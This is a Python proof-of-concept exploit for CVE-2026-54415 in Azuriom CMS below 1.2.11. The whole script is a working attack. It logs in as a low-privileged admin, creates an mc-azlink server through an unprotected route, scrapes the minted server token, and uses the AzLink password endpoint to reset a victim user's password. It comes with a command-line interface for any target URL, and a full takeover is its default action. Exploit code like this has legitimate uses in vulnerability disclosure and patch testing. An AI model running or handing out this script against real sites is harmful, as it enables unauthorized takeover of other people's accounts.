#!/usr/bin/env python3 """ CVE-2026-54415 — Azuriom CMS (< 1.2.11) Broken Access Control -> Account Takeover. A low-privileged admin (holding only `admin.access`) can reach the unprotected server-management routes, create a `mc-azlink` server, obtain its 32-char server token, and use the AzLink API to reset any non-admin user's password. """ import argparse import re import sys try: import requests except ImportError: sys.exit("[!] Missing dependency: pip install requests") # ----------------------------------------------------------------------------- # # cosmetics # ----------------------------------------------------------------------------- # class C: """ANSI colours; auto-disabled when stdout is not a TTY or --no-color is set.""" R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; B = "\033[34m" C = "\033[36m"; W = "\033[97m"; D = "\033[2m"; BOLD = "\033[1m"; X = "\033[0m" @classmethod def off(cls): for k in ("R", "G", "Y", "B", "C", "W", "D", "BOLD", "X"): setattr(cls, k, "") BANNER = ( "{W}{BOLD}CVE-2026-54415{X} {D}·{X} " "Azuriom CMS < 1.2.11 {D}·{X} Broken Access Control -> Account Takeover\n" ) STEP = 0 def step(msg): global STEP STEP += 1 print(f"{C.B}{C.BOLD}[{STEP}]{C.X} {msg}") def ok(msg): print(f" {C.G}✔{C.X} {msg}") def info(msg): print(f" {C.D}·{C.X} {msg}") def bad(msg): print(f" {C.R}✘{C.X} {msg}") def loot(k, v): print(f" {C.Y}★ {k}:{C.X} {C.BOLD}{v}{C.X}") # ----------------------------------------------------------------------------- # # exploit # ----------------------------------------------------------------------------- # CSRF_RE = re.compile(r'name="_token"\s+value="([^"]+)"') XSRF_META_RE = re.compile(r' " SETUP_TOKEN_RE = re.compile(r'azlink[\s_]setup[^\s]*\s+\S+\s+([A-Za-z0-9]{32})') ANY_TOKEN_RE = re.compile(r'\b([A-Za-z0-9]{32})\b') def get_csrf(session, url): r = session.get(url) r.raise_for_status() m = CSRF_RE.search(r.text) or XSRF_META_RE.search(r.text) if not m: raise RuntimeError(f"Could not find CSRF token at {url}") return m.group(1), r.text def login(session, base, user, password): step(f"Authenticating as low-priv admin {C.W}{user}{C.X}") token, _ = get_csrf(session, f"{base}/user/login") r = session.post( f"{base}/user/login", data={"_token": token, "email": user, "password": password, "remember": "on"}, allow_redirects=True, ) if "/user/login" in r.url and "logout" not in r.text.lower(): raise RuntimeError("Login failed — check credentials.") ok("Authenticated (session established).") def create_server(session, base, name, address): step(f"Creating {C.W}mc-azlink{C.X} server (the access-control bypass)") info(f"name={name!r} address={address!r} — verifyLink() returns true, no real server needed") token, _ = get_csrf(session, f"{base}/admin/servers/create") r = session.post( f"{base}/admin/servers", data={ "_token": token, "name": name, "type": "mc-azlink", # verifyLink() unconditionally returns true "address": address, "home_display": "1", }, allow_redirects=True, ) r.raise_for_status() if "/admin/servers/create" in r.url: raise RuntimeError("Server creation rejected — target looks PATCHED (needs admin.servers).") ok("Server created — reached a route that should have required admin.servers.") def extract_token(session, base): step("Extracting the minted server token from the panel") r = session.get(f"{base}/admin/servers") r.raise_for_status() edit_ids = re.findall(r'/admin/servers/(\d+)/edit', r.text) ids = sorted({int(i) for i in edit_ids}) or [1] for sid in reversed(ids): e = session.get(f"{base}/admin/servers/{sid}/edit") if e.status_code != 200: continue m = SETUP_TOKEN_RE.search(e.text) if m: loot(f"server #{sid} token", m.group(1)) return m.group(1) for cand in ANY_TOKEN_RE.findall(e.text): if cand.isalnum() and any(c.isdigit() for c in cand) and any(c.isalpha() for c in cand): loot(f"server #{sid} token (heuristic)", cand) return cand raise RuntimeError("Could not extract server token from the panel.") def takeover(session, base, server_token, game_id, new_password): step(f"Resetting victim {C.W}game_id={game_id}{C.X} password via AzLink API") r = session.post( f"{base}/api/azlink/password", headers={"Azuriom-Link-Token": server_token, "Accept": "application/json"}, data={"game_id": str(game_id), "password": new_password}, ) if r.status_code in (200, 204): ok(f"Password for game_id={game_id} set to {C.BOLD}{new_password}{C.X}") print(f"\n{C.G}{C.BOLD} ==> ACCOUNT TAKEN OVER — log in as the victim with that password.{C.X}\n") return True if r.status_code == 422: bad(f"422 — game_id not found, or target is an admin (admins are protected).") info(r.text[:200]) else: bad(f"Unexpected status {r.status_code}") info(r.text[:200]) return False # ----------------------------------------------------------------------------- # # cli # ----------------------------------------------------------------------------- # def examples(): # Built at call time (after colour is decided) so piped --help stays clean. return f"""{C.BOLD}examples{C.X} {C.D}# full account takeover{C.X} python3 poc.py --url https://target.tld \\ --admin-user mod@site.tld --admin-pass 'Passw0rd' \\ --victim-game-id 1001 --new-password 'Owned123!' {C.D}# safe demo — stop after minting a server token, touch no victim{C.X} python3 poc.py --url https://target.tld \\ --admin-user mod@site.tld --admin-pass 'Passw0rd' \\ --victim-game-id 0 --token-only {C.D}# self-signed / lab HTTPS{C.X} python3 poc.py --url https://10.0.0.5 --insecure ... """ def main(): # Decide colour BEFORE building the parser, so --help (handled inside # parse_args) and piped output never leak raw escape codes. if "--no-color" in sys.argv or not sys.stdout.isatty(): C.off() p = argparse.ArgumentParser( prog="poc.py", description=f"{C.BOLD}CVE-2026-54415{C.X} — Azuriom CMS Broken Access Control -> Account Takeover", epilog=examples(), formatter_class=argparse.RawDescriptionHelpFormatter, ) tgt = p.add_argument_group("target") tgt.add_argument("--url", required=True, metavar="URL", help="Base URL, e.g. https://target.tld[:port]") tgt.add_argument("--insecure", action="store_true", help="Skip TLS cert verification (self-signed lab HTTPS)") tgt.add_argument("--timeout", type=float, default=20, metavar="SEC", help="Per-request timeout (default 20)") cred = p.add_argument_group("attacker credentials (low-priv admin: admin.access only)") cred.add_argument("--admin-user", required=True, metavar="USER", help="Attacker login email/username") cred.add_argument("--admin-pass", required=True, metavar="PASS", help="Attacker password") act = p.add_argument_group("action") act.add_argument("--victim-game-id", required=True, metavar="ID", help="game_id of the non-admin victim") act.add_argument("--new-password", default="Pwn3d!TakenOver", metavar="PW", help="New password to set on the victim") act.add_argument("--token-only", action="store_true", help="Stop after obtaining the server token (no victim touched)") adv = p.add_argument_group("advanced") adv.add_argument("--server-name", default="poc-azlink", metavar="NAME", help="Name for the created server") adv.add_argument("--server-address", default="127.0.0.1", metavar="ADDR", help="Dummy address (never contacted)") adv.add_argument("--no-color", action="store_true", help="Disable coloured output") args = p.parse_args() print(BANNER.format(W=C.W, BOLD=C.BOLD, D=C.D, X=C.X)) print(f" {C.D}target{C.X} {args.url}\n") base = args.url.rstrip("/") s = requests.Session() s.headers.update({"User-Agent": "CVE-2026-54415-PoC"}) s.verify = not args.insecure s.request = _timeout_wrapper(s.request, args.timeout) if args.insecure: try: requests.packages.urllib3.disable_warnings() # silence InsecureRequestWarning except Exception: pass try: login(s, base, args.admin_user, args.admin_pass) create_server(s, base, args.server_name, args.server_address) token = extract_token(s, base) if args.token_only: print(f"\n{C.G}Done (--token-only). No victim account was modified.{C.X}") return print() ok_ = takeover(s, base, token, args.victim_game_id, args.new_password) sys.exit(0 if ok_ else 2) except KeyboardInterrupt: sys.exit("\n[!] Interrupted.") except Exception as e: sys.exit(f"{C.R}[!] {e}{C.X}") def _timeout_wrapper(fn, timeout): def wrapped(method, url, **kw): kw.setdefault("timeout", timeout) return fn(method, url, **kw) return wrapped if __name__ == "__main__": main()